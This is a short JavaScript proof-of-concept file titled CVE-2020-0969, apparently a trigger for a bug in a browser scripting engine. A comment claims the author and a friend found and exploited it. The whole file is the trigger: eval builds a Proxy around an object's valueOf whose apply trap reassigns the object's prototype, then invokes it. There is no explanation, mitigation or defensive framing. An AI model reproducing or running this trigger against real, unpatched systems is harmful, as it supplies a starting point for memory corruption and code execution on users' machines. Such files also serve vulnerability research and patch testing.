CVE-2020-0969.js

// Found and exploited together with my friend S0rryMyBad
function poc(o) {
    eval(`
        var pwn = new Proxy(o.valueOf, {
            apply : function(target, thisArg, arguments) {
                o.__proto__ = thisArg;
            }
        });
    `);
    var evil = pwn();
}
poc({});